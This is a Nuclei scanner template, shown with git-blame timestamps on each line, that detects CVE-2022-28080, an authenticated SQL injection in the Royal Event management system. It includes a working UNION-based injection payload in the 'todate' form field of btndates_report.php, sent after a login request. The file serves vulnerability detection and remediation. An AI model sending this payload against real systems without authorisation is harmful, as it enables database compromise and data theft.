2022-06-15 19:56:31 +00:00
|
|
|
id: CVE-2022-28080
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Royal Event - SQL Injection
|
2022-06-22 06:03:57 +00:00
|
|
|
author: lucasljm2001,ekrause,ritikchaddha
|
2022-06-15 19:56:31 +00:00
|
|
|
severity: high
|
2022-06-16 04:00:35 +00:00
|
|
|
description: |
|
2022-07-26 13:45:11 +00:00
|
|
|
Royal Event is vulnerable to a SQL injection vulnerability.
|
2023-09-27 15:51:13 +00:00
|
|
|
impact: |
|
|
|
|
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire database.
|
2023-09-06 11:59:08 +00:00
|
|
|
remediation: |
|
|
|
|
To remediate this vulnerability, input validation and parameterized queries should be implemented to prevent SQL Injection attacks.
|
2022-06-15 19:56:31 +00:00
|
|
|
reference:
|
2022-06-22 06:03:57 +00:00
|
|
|
- https://www.exploit-db.com/exploits/50934
|
2022-06-15 19:56:31 +00:00
|
|
|
- https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip
|
2022-06-22 06:20:14 +00:00
|
|
|
- https://github.com/erengozaydin/Royal-Event-Management-System-todate-SQL-Injection-Authenticated
|
2022-07-26 13:45:11 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-28080
|
2023-07-11 19:49:27 +00:00
|
|
|
- https://www.sourcecodester.com/php/15238/event-management-system-project-php-source-code.html
|
2022-06-15 19:56:31 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 8.8
|
|
|
|
cve-id: CVE-2022-28080
|
2023-07-11 19:49:27 +00:00
|
|
|
cwe-id: CWE-89
|
2024-05-31 19:23:20 +00:00
|
|
|
epss-score: 0.01814
|
|
|
|
epss-percentile: 0.88161
|
2023-09-06 11:59:08 +00:00
|
|
|
cpe: cpe:2.3:a:event_management_system_project:event_management_system:1.0:*:*:*:*:*:*:*
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: event_management_system_project
|
|
|
|
product: event_management_system
|
2024-01-14 09:21:50 +00:00
|
|
|
tags: cve,cve2022,royalevent,edb,sqli,authenticated,cms,intrusive,event_management_system_project
|
2022-06-15 19:56:31 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-06-22 06:03:57 +00:00
|
|
|
- raw:
|
2022-06-17 21:54:52 +00:00
|
|
|
- |
|
|
|
|
POST /royal_event/ HTTP/1.1
|
2022-06-22 06:03:57 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Length: 353
|
|
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCSxQll1eihcqgIgD
|
|
|
|
|
|
|
|
------WebKitFormBoundaryCSxQll1eihcqgIgD
|
|
|
|
Content-Disposition: form-data; name="username"
|
2022-06-17 21:54:52 +00:00
|
|
|
|
2022-06-22 06:03:57 +00:00
|
|
|
{{username}}
|
|
|
|
------WebKitFormBoundaryCSxQll1eihcqgIgD
|
|
|
|
Content-Disposition: form-data; name="password"
|
2022-06-17 21:54:52 +00:00
|
|
|
|
2022-06-22 06:03:57 +00:00
|
|
|
{{password}}
|
|
|
|
------WebKitFormBoundaryCSxQll1eihcqgIgD
|
|
|
|
Content-Disposition: form-data; name="login"
|
2022-06-17 21:54:52 +00:00
|
|
|
|
|
|
|
|
2022-06-22 06:03:57 +00:00
|
|
|
------WebKitFormBoundaryCSxQll1eihcqgIgD--
|
2022-06-16 04:01:27 +00:00
|
|
|
- |
|
2022-06-22 06:03:57 +00:00
|
|
|
POST /royal_event/btndates_report.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFboH5ITu7DsGIGrD
|
2022-06-16 04:01:27 +00:00
|
|
|
|
2022-06-22 06:03:57 +00:00
|
|
|
------WebKitFormBoundaryFboH5ITu7DsGIGrD
|
2022-06-15 19:56:31 +00:00
|
|
|
Content-Disposition: form-data; name="todate"
|
|
|
|
|
2022-06-22 06:03:57 +00:00
|
|
|
1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5("{{randstr}}"),0x1,0x2),NULL-- -
|
|
|
|
------WebKitFormBoundaryFboH5ITu7DsGIGrD
|
2022-06-15 19:56:31 +00:00
|
|
|
Content-Disposition: form-data; name="search"
|
|
|
|
|
|
|
|
3
|
2022-06-22 06:03:57 +00:00
|
|
|
------WebKitFormBoundaryFboH5ITu7DsGIGrD
|
2022-06-15 19:56:31 +00:00
|
|
|
Content-Disposition: form-data; name="fromdate"
|
|
|
|
|
|
|
|
01/01/2011
|
2022-06-22 06:03:57 +00:00
|
|
|
------WebKitFormBoundaryFboH5ITu7DsGIGrD--
|
2022-06-15 19:56:31 +00:00
|
|
|
|
2022-06-22 06:03:57 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- '{{md5("{{randstr}}")}}'
|
2022-06-15 19:56:31 +00:00
|
|
|
|
2022-06-22 06:03:57 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2024-06-01 06:53:00 +00:00
|
|
|
# digest: 490a00463044022029c95f4a6b5c8347d8b89c49ffb5e91511ad25e59a2424f916205cfd65c15116022051f90662aff17ed22a874e462509b8be55512460e94d0cdb45b9159ec7b963fe:922c64590222798bb761d5b6d8e72950
|